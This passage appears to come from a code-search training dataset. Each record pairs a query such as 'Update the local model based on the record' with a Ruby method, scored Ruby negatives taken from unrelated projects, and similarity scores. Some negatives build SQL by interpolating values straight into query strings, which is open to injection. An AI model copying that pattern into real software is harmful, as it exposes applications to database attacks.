:time)\n OR (date_created IS NULL AND date_changed IS NULL AND date_retired IS NULL)\n SQL\n model.unscoped.where(where_conditions, time: database_offset.to_s)\n elsif immutable_model?(model)\n # HACK: person address seems to be missing `date_changed` field so we\n # fall back to the existing `date_created`\n where_conditions = <<~SQL\n (date_created >= :time OR date_voided >= :time)\n OR (date_created IS NULL AND date_voided IS NULL)\n SQL\n model.unscoped.where(where_conditions, time: database_offset.to_s)\n elsif model == DrugOrder\n # DrugOrder lacks date_changed and date_created fields. We instead use\n # the parent Order's date_created.\n where_conditions = <<~SQL\n (date_created >= :time OR date_voided >= :time)\n OR (date_created IS NULL AND date_voided IS NULL)\n SQL\n model.unscoped\\\n .joins('INNER JOIN orders ON orders.order_id = drug_order.order_id')\\\n .where(where_conditions, time: database_offset.to_s)\n elsif model == ProgramWorkflowState || model == ProgramWorkflow\n where_conditions = <<~SQL\n (date_created >= :time OR date_changed >= :time)\n OR (date_created IS NULL AND date_changed IS NULL)\n SQL\n model.unscoped.where(where_conditions, time: database_offset.to_s)\n else\n where_conditions = <<~SQL\n (date_changed >= :time OR date_created >= :time OR date_voided >= :time)\n OR (date_changed IS NULL AND date_created IS NULL AND date_voided IS NULL)\n SQL\n model.unscoped.where(where_conditions, time: database_offset)\n end\n end", "def last_modified\n rails_root_mtime = Time.zone.at(::File.new(\"#{Rails.root}\").mtime)\n timestamps = [rails_root_mtime, self.updated_at]\n timestamps.sort.last\n end", "def from\n @from ||= begin\n results = relation.search_with_conditions(public_access, rows: 1, sort: MODIFIED_DATE_FIELD + ' asc')\n if results.present?\n results.first.fetch(MODIFIED_DATE_FIELD)\n else\n BEGINNING_OF_TIME\n end\n end\n end", "def last_submission_before_creation\n Submission.find_by_sql(\" select * from submissions\n where exercise_id = #{exercise_id} AND\n user_id = #{user_id} AND\n '#{created_at.localtime}' > created_at\n order by created_at desc\n limit 1\").first\n end", "def all_history_as_of(last_update)\n history(history: { since: last_update })\n end", "def last_updated_time\n data[:last_updated_time]\n end", "def updated_at\n dateChanged\n end", "def latest_update\n latest_update = updated_at\n phases.each do |phase|\n if phase.updated_at > latest_update then\n latest_update = phase.updated_at\n end\n end\n return latest_update\n end", "def find_by_for_local(local_record, path)\n had_previous_value = headers.key?(IF_MODIFIED_SINCE)\n previous_value = headers[IF_MODIFIED_SINCE]\n\n headers[IF_MODIFIED_SINCE] = Remotable.http_format_time(local_record.remote_updated_at) if local_record.accepts_not_modified?\n find_by(path)\n ensure\n if had_previous_value\n headers[IF_MODIFIED_SINCE] = previous_value\n else\n headers.delete(IF_MODIFIED_SINCE)\n end\n end", "def last_update(window = 30, status_type = equipment_statuses)\n status_type.updated_after(updated_at - window).last\n end", "def last_update() (last_answer = answers.last) ? last_answer.time_stamp : created_at end", "def last_updated\n [updated_at, book_updated_at, photo_updated_at].compact.max\n end", "def fetch\n api_obj.created_at.today? ? sync : self\n end", "def listings\n Zoopla::CachedListings.new.search(self).sort_by(&:updated_at).reverse!\n end", "def last_updated_at\n [ self.calendar_items.accessible.maximum('nodes.created_at'), self.updated_at ].compact.max\n end", "def last_update\n request = <<-STRING\n SELECT max(updated_at) FROM\n (SELECT updated_at FROM schools WHERE id = #{id}\n UNION\n SELECT updated_at FROM teachers WHERE school_id = #{id}\n UNION\n SELECT updated_at FROM addresses WHERE school_id = #{id}\n UNION\n SELECT c.updated_at FROM courses c, addresses a WHERE a.school_id = #{id} AND c.address_id = a.id\n UNION\n SELECT p.updated_at FROM properties p, courses c, addresses a WHERE a.school_id = #{id} AND c.address_id = a.id AND p.course_id = c.id) as subquery\n STRING\n return ActiveRecord::Base.connection.execute(request).first[\"max\"]\n end", "def pool_after(latest_update)\n\tif latest_update.present?\n\t\tself.pool.where(\"microposts.updated_at > ?\", latest_update)\n\tend\n end", "def the_updated_at(format = :long)\n h.l(object.updated_at, format: format.to_sym)\n end", "def last_update_at\n connection.get_metric_last_update_at(@id)\n end", "def last_modified\n rails_root_mtime = Time.zone.at(::File.new(\"#{Rails.root}\").mtime)\n timestamps = [rails_root_mtime, self.updated_at] + self.page.elements.collect{|e| e.last_modified}\n timestamps.sort.last\n end", "def update_timestamp\n self.fields_last_modified = {\n columns_changeable: self.columns_changeable,\n columns_visible: self.columns_visible,\n filters: self.filters}.hash.to_s(36)[1..5]\n end", "def updates(since = DateTime.now)\n DataStore.updates_for_project(self, since)\n end", "def update_timestamp\n self.fields_last_modified = {\n columns_changeable: columns_changeable,\n columns_visible: columns_visible,\n filters: filters\n }.hash.to_s(36)[1..5]\n end", "def last_seen_at() ; info_time(:last_seen) ; end", "def updated(opts={})\n ordered(:updated_at)\n date_time_filter(:updated_at, time_range(opts[:on], opts[:during], opts[:since], opts[:until]))\n self\n end", "def newest(constraints = {})\n constraints.merge!(order: :created_at.desc)\n _q = query(constraints)\n _q.define_singleton_method(:method_missing) { |m, *args, &block| self.results.send(m, *args, &block) }\n _q\n end", "def index\n @recent_objects = TaxonDetermination.recent_from_project_id($project_id).order(updated_at: :desc).limit(10)\n end", "def get_max_updated_at\r\n @summary.max_updated_at\r\n end", "def recent\n self.order('created_at DESC')\n end", "def last_edited\n self.latest_update.to_date\n end", "def get_recently_updated_datasets(base_url)\n return handle_request(URI.encode(base_url + '/revision_list'))\n end", "def get_latest_for(changeable)\n my_id = changeable.id\n self.send(\"find_by_#{self.changeable_fk}\", my_id, {:order => 'updated_at DESC', :limit => 1})\n end", "def last_modified\n [updated_at, user.try(:updated_at)].max\n end", "def search_updated_guests(timestamp)\n ldap_timestamp = timestamp.to_time.utc.strftime(TIMESTAMP_FORMAT)\n modified_timestamp_filter = Net::LDAP::Filter.ge('modifytimestamp', ldap_timestamp)\n client.search(base: GUEST_DN, filter: modified_timestamp_filter)\n end", "def last_updates_viewed\n self.user.extend(Montage::User).last_login\n end", "def updated_at\n @updated_at ||= begin\n updated_dates = [self[:updated_at] || self[:created_at] || Date.null_date.to_time]\n updated_dates += self.captions.collect{|c| c.updated_at }\n \n updated_dates.compact.max\n end\n end", "def saved_objects\n TimeEntry.where(:id => saved_items.pluck(:obj_id)).order(:id).preload(:activity, :project, :issue => [:tracker, :priority, :status])\n end", "def _update_timestamps\n if self.respond_to?('updated_at')\n self.updated_at = Time.now\n end\n end", "def update_oldest_records\n old_records = @bq_writer.query('SELECT table_name, attr FROM '\\\n \"[#{project_id}:#{@bq_writer.dataset}.#{bq_table_name}] \"\\\n 'GROUP BY table_name, attr')\n if old_records['rows']\n old_records['rows'].each do |r|\n table = r['f'][0]['v']\n trait = r['f'][1]['v']\n\n next unless trait && bq_attributes[table] \n\n if bq_attributes[table].include?(trait.to_sym) \n OldestRecord.find_or_create_by(table_name: table, attr: trait)\n else\n log(:info, \"#{Time.now}: No longer tracking: #{table}: #{trait}\")\n end\n end\n end\n end", "def last_result_at\n ab_test_results.last.andand.created_at\n end", "def updated_at\n @gapi[\"updated\"]\n end", "def updated\n updated_at.utc.strftime(\"%F %T\") if updated_at\n end", "def most_recent\n Visit.all.sort_by{|visit| visit.timestamps}.last\n end", "def latest_execution\n executions.order(updated_at: :desc).first&.updated_at\n end", "def list\n logger.debug \"Processing the list...\"\n @users = User.all.order('updated_at desc') #where(:status=>1)\n end", "def bump_timestamps\n self.updated_at = Time.now.utc\n end", "def getlastmodified\n if !record.nil? and record.respond_to? :updated_at\n record.updated_at.httpdate\n end\n end", "def status\n results = {}\n records = self.category_records(include_private: true, order: 'newest')\n start_day = Time.zone.now.midnight\n end_day = Time.zone.now.midnight + 1.day\n results[:last_entry] = records.first\n results[:recent_entries] = records.where('(timestamp >= ? AND timestamp < ?) OR (timestamp < ? AND end_timestamp IS NULL)', start_day, end_day, start_day).all\n results[:duration] = results[:recent_entries].map {|x| x.calculated_duration(start_day, end_day) }.reduce(0, :+)\n return results\n end", "def refresh_db_related\n return if @table_follows.empty?\n\n @first_db_entry = @table_follows.first\n @last_follow_time = @first_db_entry[:follow_time]\n end", "def find_recent_songs\n songs_with_date_modified_pair = self.lib.songs.reject do |song|\n (!song.metadata.has_key?('date_modified')) or (song.metadata['date_modified'] == nil)\n end\n\n songs_by_date_modified = songs_with_date_modified_pair.sort do |a, b| \n b.metadata['date_modified'] <=> a.metadata['date_modified']\n end\n\n songs_first = songs_by_date_modified.first(3)\n song_names = songs_first.collect {|song| song.metadata['name']} \n end", "def recent_activity\n\t\t(Comment.all + Content.all + Mood.all + Project.all + Milestone.all + Form.all + Client.all + Contact.all).sort_by {|x| x[:updated_at]}.reverse\n\tend", "def find_last_updated_weblogs(limit = 5)\n return [] if limit <= 0\n\n weblogs.accessible.all.sort { |a, b| b.last_updated_at <=> a.last_updated_at }[0..(limit - 1)]\n end", "def last_sighted\n sightings.order(:updated_at).last.updated_at\n end", "def active_tracking? klass, key\n klass.where(key: key).pluck(:live_update).first\n end", "def updated\n ## todo/fix: use a new name - do NOT squeeze convenience lookup into existing\n # db backed attribute\n read_attribute_w_fallbacks( :updated, :published )\n end", "def last_synchronize\n last_update\n end", "def modified_at\n ensure_full_data!\n Time.at(@gapi[\"lastModifiedTime\"] / 1000.0)\n end", "def index\n @recent_objects = Content.recent_from_project_id($project_id).order(updated_at: :desc).limit(10)\n end", "def updated_since?(time)\n time < last_updated_at\n end", "def updated_at\n Time.at @updated rescue nil\n end", "def updates_since? last_update\r\n return true unless self.updated_since(last_update).blank?\r\n return true unless self.problems.updated_since(last_update).blank?\r\n false\r\n end" ]
[ "0.6726538", "0.65984106", "0.6496453", "0.6179746", "0.61167836", "0.6106682", "0.61018765", "0.61002785", "0.601975", "0.5984788", "0.59707254", "0.59449846", "0.5910519", "0.59101206", "0.5888773", "0.5863106", "0.58474714", "0.58347046", "0.58101916", "0.5804294", "0.5792856", "0.5746844", "0.57270265", "0.571583", "0.5711033", "0.56965446", "0.56780976", "0.5671182", "0.5665817", "0.56650215", "0.56462044", "0.5633852", "0.56229556", "0.56131196", "0.5605981", "0.5601648", "0.55978215", "0.55925786", "0.55862606", "0.5585994", "0.55761445", "0.5563567", "0.5560796", "0.55557215", "0.5548789", "0.5545534", "0.5542366", "0.5537101", "0.55258375", "0.5515121", "0.55121064", "0.55119634", "0.55088586", "0.55034024", "0.54964405", "0.54935074", "0.5483913", "0.5479336", "0.54783326", "0.5471152", "0.5455706", "0.5449996", "0.5434305", "0.54292345", "0.5426536", "0.5419866", "0.54069984", "0.5406116", "0.5396435", "0.53912586", "0.53850794", "0.53817195", "0.53810704", "0.53804964", "0.53792715", "0.5373699", "0.5372774", "0.5372473", "0.53699607", "0.53689015", "0.5366919", "0.53616405", "0.5361366", "0.5353594", "0.53467023", "0.53340864", "0.5333903", "0.5330932", "0.53284836", "0.5327755", "0.53238535", "0.53164047", "0.5314777", "0.5305488", "0.529946", "0.52938485", "0.52914834", "0.52854973", "0.52843577", "0.5281438", "0.52770793" ]
0.0
-1
Update the local model based on the record
def update_model(model, record) raise_must_override end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n record.assign_attributes(data)\n record.save! if record.changed?\n end", "def update(model_data)\n end", "def sync_local_model_status(model, record)\n true\n end", "def update\n upsert do\n # NOTE:\n # 1. update ++then++ valid to set new values in @record to draw form.\n # 1. user_scoped may have joins so that record could be\n # ActiveRecord::ReadOnlyRecord so that's why access again from\n # model.\n @record = model.find(user_scoped.find(params[:id]).id)\n #upsert_files\n if !@record.update_attributes(permitted_params(:update))\n raise ActiveRecord::RecordInvalid.new(@record)\n end\n end\n end", "def update(model)\n id, data = model.primary_key_value, model.changes_for_save\n store.update(id, data, table: table_name)\n end", "def update\n @dirty = true\n end", "def update!(**args)\n @record = args[:record] if args.key?(:record)\n end", "def update_local\n # TODO\n end", "def before_update_save(record)\n @record.attributes = params[:record]\n end", "def before_update_save(record)\n @record.attributes = params[:record]\n end", "def update(...)\n assign_attributes(...)\n save\n end", "def update!(**args)\n @model = args[:model] if args.key?(:model)\n end", "def update\n validate_save_and_respond(load_change_set, :edit)\n end", "def update\n \n end", "def update(params)\n update_model(params)\n end", "def adjust_after_update\n # The record is in @record, do what you will, this precedes a save.\n end", "def update!\n self.save\n end", "def update\n\t\t\n\t\tend", "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end", "def reload\n model = self.class.find(to_remote)\n\n if model.errors?\n add_errors(model.errors)\n else\n copy_from(model)\n persist!\n end\n\n self\n end", "def edit\n self.model = store.projects.where(id: params.id).first.then(&:buffer)\n end", "def refresh\n # re-download the model from the server\n set_model\n end", "def update!(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update!(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update\n\n end", "def perform_update\n @resource = controller.send(model.name)\n resource.tap do\n trigger_event(:save) do\n update_and_save_resource\n end\n end\n end", "def update\r\n end", "def update\n Model.test_for_invalid_status(:update, @model_status)\n\n clear_alerts; run_validation(:update)\n interface.update(@model_id, map_to_interface) unless @model_status == :error\n\n unless interface.id_ai\n @model_id = instance_variable_get( \"@#{interface.id_fld}\".to_sym )\n end\n\n self\n rescue Pod4::WeakError\n add_alert(:error, $!)\n self\n end", "def update(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update\n @local = Local.find_by_number(params[:id])\n\n respond_to do |format|\n if @local.update_attributes(params[:local])\n flash[:notice] = 'Local was successfully updated.'\n format.html { redirect_to(edit_local_path(@local)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @local.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if @transaction_record.update(transaction_record_params)\n @transaction_record = TransactionRecord.new\n @transaction_records = TransactionRecord.all\n @flag = true\n else\n @flag = false\n end\n end", "def update\n if @compliance_record.update(compliance_record_params)\n @compliance_record = ComplianceRecord.new\n @compliance_records = ComplianceRecord.all\n @flag = true\n else\n @flag = false\n end\n end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update\n \n end", "def update!(**args)\n @attribution_model = args[:attribution_model] if args.key?(:attribution_model)\n @data_driven_model_status = args[:data_driven_model_status] if args.key?(:data_driven_model_status)\n end", "def update\n # TODO: implement update\n end", "def update\n \n end", "def update\n \n end", "def update\n \n end", "def update\n \n end", "def update\n \n end", "def update\n \n end", "def update\n \n end", "def update\n \n end", "def update\n \n end", "def update\n \n end", "def update \n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update ; end", "def update\n\t\tend", "def update\n\t\tend", "def update_local\n uuid = @data[:id]\n\n log_event \"[I] Updating local user #{uuid}\"\n\n @entity = self.class.entity_from_relationship_data(@data)\n\n if @entity.nil?\n log_event \"[E] Cannot find user #{uuid}\"\n false\n else\n apply_for_update\n @entity.save\n end\n end", "def update\r\n end", "def update\r\n end", "def update\r\n end", "def update\r\n end", "def update!(**args)\n @model = args[:model] if args.key?(:model)\n @model_display_name = args[:model_display_name] if args.key?(:model_display_name)\n end", "def update!(**args)\n @model = args[:model] if args.key?(:model)\n @model_display_name = args[:model_display_name] if args.key?(:model_display_name)\n end", "def update\n\t\t# Left empty intentionally.\n\tend" ]
[ "0.70232606", "0.6960855", "0.6915704", "0.6651765", "0.65952986", "0.6541155", "0.64780855", "0.6467646", "0.63877267", "0.63877267", "0.6380397", "0.63756955", "0.63670266", "0.631884", "0.6317961", "0.62795365", "0.62666905", "0.62418365", "0.62305254", "0.62215644", "0.62057084", "0.6195597", "0.6185029", "0.6185029", "0.6164796", "0.6157761", "0.6137609", "0.6134468", "0.6112359", "0.6112359", "0.6088833", "0.607702", "0.607024", "0.6060861", "0.6060861", "0.6060861", "0.6060861", "0.6060861", "0.6060861", "0.6060861", "0.6060861", "0.6052705", "0.60506666", "0.60347754", "0.6032493", "0.6032493", "0.6032493", "0.6032493", "0.6032493", "0.6032493", "0.6032493", "0.6032493", "0.6032493", "0.6032493", "0.60308826", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.60236514", "0.6021164", "0.6006435", "0.6006435", "0.59997684", "0.5994096", "0.5994096", "0.5994096", "0.5994096", "0.5991158", "0.5991158", "0.59896374" ]
0.6063968
33
Handle post process model
def post_process_model(model) model.mark_synced! end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def post_process\n end", "def post_process; end", "def post\n raise NotImplementedError\n end", "def post_task\n end", "def process_post\n true\n end", "def handle_inputs\n collect_inputs(form_model: :post)\n\n if state.post.has_errors?\n set_state post: state.post\n else\n state.post.create.then do |post|\n if post.has_errors?\n set_state post: post\n else\n $HISTORY.pushState(nil, \"/posts/#{post.id}\")\n end\n end\n end\n end", "def process\n save_as(:processed)\n end", "def after_processing\n end", "def process\n raise \"Must be implemented\"\n end", "def post\r\n end", "def run!\n @post.save!\n end", "def process_post(post)\n # No-op.\n end", "def post_process_exposed_object(resource, type, singular)\n end", "def post; end", "def post\n end", "def post_process(answer)\n answer\n end", "def post\n if phase.has_key?('post')\n execute(\"post\", phase['post'])\n end\n end", "def process\n # self.update_attributes(state: 'processing')\n interactor = \"::#{self.handler.class.name}::#{self.action_name.camelcase}\".constantize\n context = interactor.call({\n product_instance: self.product_instance,\n handler: self.handler,\n job: self,\n })\n if context.failure?\n self.error_messages ||= []\n self.error_messages << context.errors if context.errors.present?\n self.save\n end\n context\n end", "def process\n end", "def post_process(pages)\n end", "def process\n raise NotImplementedError(\"The instance method '#process' must be implemented for the operation\")\n end", "def process\n save_as(:processing)\n perform_checks\n initiate_delivery\n capture_payment\n save_as(:processed)\n end", "def process!\n end", "def _eval_post\n _eval_action('post')\n end", "def process\n klass.new(request).process\n end", "def after_processing_hook; end", "def postproc; end", "def post_reader; end", "def ev_do_postprocess(was_events); end", "def postprocess(groups)\n end", "def post_import\n end", "def post_process\n [status, headers, body]\n end", "def post_process\n [status, headers, body]\n end", "def process\n self\n end", "def handle\n model.before_action_hook(type, request)\n send(\"handle_#{type}\")\n end", "def post_data; end", "def handle_create\n obj = model.new(nil, request)\n model.set_fields(obj, :new, request, model_params)\n model.hook(:before_create, request, obj)\n if model.save(obj)\n model.hook(:after_create, request, obj)\n request.set_flash_notice(\"Created #{model.class_name}\")\n redirect(:new, obj)\n else\n request.set_flash_now_error(\"Error Creating #{model.class_name}\")\n new_page(obj)\n end\n end", "def process\n self.read_layouts\n self.transform_pages\n self.write_posts\n end", "def process!\n self.status = 'Generado'\n save\n end", "def post(*args, &block); end", "def segment\n pre_process\n process\n post_process\n end", "def processing!\n self.sub_state = :processing\n save!\n end", "def process *args, &block\n raise \"override the process method in your implementation: it should process each record.\"\n end", "def post_request(object)\n end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def POST; end", "def to_postprocess_value(&block_)\n @postprocessor = block_\n end", "def process\n # no-op by default\n end", "def post_process\n bind_files\n make_tasks\n end", "def post_execute\n save({'answer' => @datastore['answer']})\n end", "def post_execute\n save({'answer' => @datastore['answer']})\n end", "def process\n raise Error::new(\"This method should be implemented by a subclass\")\n end", "def post(*args, &block)\n map_method(:post, args, &block)\n end", "def process_order\n @order.process!\n redirect_to root_path\n end", "def post_save\n if self.upload_status_changed?\n if upload_status == \"Waiting to Upload\"\n self.upload_to_dropbox!\n elsif upload_status == \"Uploading\"\n self.extract_metadata!\n elsif upload_status == \"Complete\"\n self.delete_from_server!\n end\n end\n end", "def process\n self.read_layouts\n self.read_posts\n self.write_posts\n self.transform_pages\n end", "def _process_on_create(entity)\n end", "def model_process\n puts \"#{self} model_process\" if Rails.env.test?\n manipulate! do |img|\n if model\n m = \"#{mounted_as}_process\"\n img = model.send(m, img) if model.respond_to?(m)\n end\n img = yield(img) if block_given?\n img\n end\n end", "def post_process(env, status, headers, body)\n [status, headers, body]\n end", "def process_post\n\t\traise \"Ehh, What's up Doc?\"\n\tend", "def perform\n \n end", "def post(*args)\n execute(:post, *args)\n end", "def process\n raise NotImplementedError\n end", "def process\n raise NotImplementedError\n end", "def postloop\n end", "def process\n # no-op\n end", "def process(request); end", "def process(params)\n model.destroy\n end", "def process!\n\n # Apply state logic and rules— stored and primed in this instance.\n # This ensures all instance variables are setup and defined for the\n # view functions to utilize.\n thinker unless @thinked.present?\n\n # Mark this instance as having thinked already.\n # We will use this at various points to ensure this instance\n # has been processed.\n @thinked = true\n end", "def post_process(aggregate)\n aggregate\n end", "def process_result\n end", "def post data\n commit data\n end", "def process\n if @patient.nil?\n # patient needs to log in\n Authenticator.new(@message, @patient).manage\n else\n # when user is logged in save his input text\n Dialogue.new(@patient).save_patient_reply(text)\n\n # dispatch in function of user state and text input\n aasm_state = @patient.aasm_state\n\n case aasm_state\n when 'idle'\n manage_idle(text)\n\n when 'questionnaires'\n manage_questionnaires(text)\n\n else # 'responding'\n manage_responding(text)\n\n end\n\n end\n end", "def on_response( &block )\n @postprocessor = block\n end", "def run(*params)\n setup!(*params) # where do we assign/find the model?\n\n [process(*params), @valid].reverse\n end", "def postprocess\n video_params = JSON.parse(params[\"upload_response\"])\n @video = Video.new(:panda_video_id => video_params[\"id\"], :title => \"Title-to-be-edited-later\")\n\n if @video.save\n render :json => {:play_url => url_for(@video), :id => @video_id}\n end\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def post_block\n end", "def post_block\n end", "def output_post_model\n #post_doc\n out_post=\"\"\n #puts \"output_post_model:post doc\";p @post_doc\n unless @post_doc.empty?\n post_doc=\"\\n\"+@post_doc.join(\"\\n\")\n txt= post_doc \n parse(txt)\n end\n unless @post_model.empty?\n post_model=\"\\n\"+@post_model.join(\"\\n\")\n txt= post_model \n out_post << parse(txt)\n end\n#p out_post\n return out_post\n end", "def notify_post\n raise \"not yet implemented\"\n end", "def create\n post = Post.new(comment: post_params[:comment], user: current_user, pokemon: retrieve_pokemon)\n return render_model_errors(post.errors, :unprocessable_entity) unless post.save\n broadcast(post, 'create')\n head :ok\n end", "def posts # proxy the posts struct\n @post_cb = lambda{|post,fobj| yield post,fobj }\n self\n end", "def before_processing\n end", "def save\n perform_save\n end", "def on_end_process()\n # subclasses may override this method\n end", "def post!(path = nil)\n info 'POST'\n task 'post process' do\n if post_script = path || @config['settings']['post_script']\n error \"Cannot find an executable script at #{ post_script }\" unless test('x', post_script)\n exec post_script, @config['settings']['output']\n else\n warn 'No post processing script configured or passed as argument!'\n end\n end#task\n end", "def handle_post_mortem; end", "def process\n self.read_layouts\n self.read_posts\n self.write_posts\n self.write_archives\n self.transform_pages\n end", "def setPostProcess(callback, data)\n @entry_field.setPostProcess(callback, data)\n end", "def process\n demarshal\n end", "def handle\n end", "def process_response(obj)\n end" ]
[ "0.7667006", "0.7214776", "0.6657609", "0.6577336", "0.64134496", "0.6403637", "0.6273242", "0.6215441", "0.6150792", "0.61107916", "0.6107989", "0.6065959", "0.60548776", "0.6034995", "0.6032676", "0.60147077", "0.6001319", "0.5976138", "0.5948499", "0.5820877", "0.58141863", "0.5771679", "0.57611746", "0.57573074", "0.5755619", "0.5722287", "0.571302", "0.5701384", "0.5666928", "0.56479454", "0.56438595", "0.5635646", "0.5635646", "0.563042", "0.55983394", "0.55976385", "0.5596094", "0.5579912", "0.55736554", "0.5571493", "0.5563601", "0.5562531", "0.55382836", "0.5536979", "0.5530685", "0.5530685", "0.5530685", "0.5530685", "0.5530685", "0.5530685", "0.5530685", "0.5530685", "0.55239916", "0.55215985", "0.5520567", "0.5507814", "0.5503803", "0.5503803", "0.5497387", "0.54920167", "0.5488889", "0.5487291", "0.5479649", "0.5454772", "0.5447915", "0.5444452", "0.54392815", "0.543664", "0.5435194", "0.5420597", "0.5420597", "0.5415955", "0.54143053", "0.5411637", "0.54030806", "0.53934294", "0.53892654", "0.5368191", "0.53668153", "0.5362912", "0.5359184", "0.5355284", "0.5349491", "0.53438044", "0.5341518", "0.5341518", "0.5340392", "0.5340145", "0.5335277", "0.5334871", "0.5334712", "0.5333066", "0.53324753", "0.5326687", "0.5325497", "0.53193647", "0.5312767", "0.5311462", "0.53071207", "0.5300273" ]
0.61997324
8
Batch save xero record
def save_records(records) raise_must_override end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save\n if !persisted?\n gps=EXIFR::JPEG.new(@contents).gps\n @location=Point.new(:lng=>gps.longitude,:lat=>gps.latitude)\n @contents.rewind\n\n description = {}\n description[:content_type]='image/jpeg' \n description[:metadata]={:location=>@location.to_hash} \n\n grid_file = Mongo::Grid::File.new(@contents.read,description)\n @id=Photo.mongo_client.database.fs.insert_one(grid_file).to_s\n end \n\tend", "def record_save\n # Load mapinfo for map name\n mapinfos = load_data(\"Data/MapInfos.rxdata\")\n # Make the filename\n if Wep::Random_file_name and Wep::Modify_game_system\n filename = Wep::Game_version+\"-\"+$game_system.random_filename+\"-\"+Wep::Save_record_name\n else\n filename = Wep::Game_version+\"-\"+Wep::Save_record_name\n end\n estado = open(filename, \"a\")\n estado.write(\"------------------------------------------\\n\")\n estado.write(\"||||\"+Wep::Save_name+\" \"+($game_system.save_count+1).to_s+\"||||\")\n estado.write(\"\\n------------------------------------------\\n\") \n # Write time\n @total_sec = Graphics.frame_count / Graphics.frame_rate\n hour = @total_sec / 60 / 60\n min = @total_sec / 60 % 60\n sec = @total_sec % 60\n text = sprintf(\"%02d:%02d:%02d\", hour, min, sec)\n tiempo = \"\\nPlaytime: \"\n tiempo+= text\n estado.write(tiempo)\n # Write money\n money = \". Money: \"\n money += $game_party.gold.to_s\n estado.write(money)\n # Write actual map(and name)\n estado.write(\". Map: \"+$game_map.map_id.to_s+\" (\"+mapinfos[$game_map.map_id].name+\")\\n\")\n if Wep::Record_saves_actors\n if Wep::Record_saves_all_actors == false\n for actor in $game_party.actors\n estado.write(\"\\n\"+actor.name+\" (\"+$data_classes[actor.class_id].name+\") Nv\"+actor.level.to_s+\"\\n\")\n end\n else\n \n for i in 1...$data_actors.size\n estado.write(\"\\n\"+$game_actors[i].name+\" (\"+$data_classes[$game_actors[i].class_id].name+\") Nv\"+$game_actors[i].level.to_s+\"\\n\")\n end\n \n end\n end\n estado.write (\"\\n\")\n estado.close\n end", "def save_dataE(obj, filename) \r\n File.open(filename, \"wb\") { |f|\r\n Marshal.dump(obj, f)\r\n }\r\nend", "def save; end", "def save; end", "def save; end", "def save; end", "def save; end", "def save; end", "def save; end", "def save; end", "def autosave; end", "def save\n timeout_retry(3, 3){\n write \"SAVE\\r\\n\"\n status_code_reply\n }\n end", "def save; record.save; end", "def save\n if !persisted? \n if @contents\n gps = EXIFR::JPEG.new(@contents).gps\n @location = Point.new(:lng => gps.longitude, :lat => gps.latitude)\n \n @contents.rewind # Reposition read location to beggining of file\n \n grid_file = Mongo::Grid::File.new(@contents.read, get_description) # Unsaved gridfs file\n\n # Store file to mongo db\n id = self.class.mongo_client.database.fs.insert_one(grid_file)\n\n @id = id.to_s\n end\n else\n file = self.class.mongo_client.database.fs.find(_id: BSON::ObjectId.from_string(@id))\n file.update_one(get_description)\n end\n end", "def save!; File.write @path, @data end", "def save_data(rec, table_name, file, stream, divider = '; ', finalizer = nil)\n @current_rev[table_name] = rec.GetValAsLongByIndex(1)\n\n fields = stream.TableSet.FieldList(table_name) #\"deal\"]\n file.puts fields.split(',').map { |f| \"#{f}=#{rec.GetValAsString(f)}\" }.join divider\n file.puts(finalizer) if finalizer\n file.flush\n end", "def save\n objects.each do |object|\n object['request_id'] = request_id\n\n puts \"Processing object #{object}\"\n\n if object['id'].size > 11\n object['id'] = object['id'].split(//).last(11).join\n end\n\n next unless valid_object?(object)\n prepare_objects_before_save(object)\n\n # If an alternate customer email is specified in flow params (should be order flows only)\n # then update to that email and generic customer billing and shipping info\n if use_customer_email_param?\n object[:email] = @config[:quickbooks_customer_email]\n end\n\n # Get rid of empty addresses\n unless payload_key == 'journal'\n [:shipping_address, :billing_address].each do |address_type|\n if object[address_type].nil? || object[address_type].empty?\n object[address_type] = generic_address\n end\n end\n end\n\n if two_phase?\n file = \"#{path.base_name}/#{path.two_phase_pending}/#{payload_key.pluralize}_#{id_of_object(object)}_.json\"\n amazon_s3.export file_name: file, objects: [object]\n generate_inserts_for_two_phase(object, use_customer_email_param?)\n else\n file = \"#{path.base_name}/#{path.pending}/#{payload_key.pluralize}_#{id_of_object(object)}_.json\"\n amazon_s3.export file_name: file, objects: [object]\n 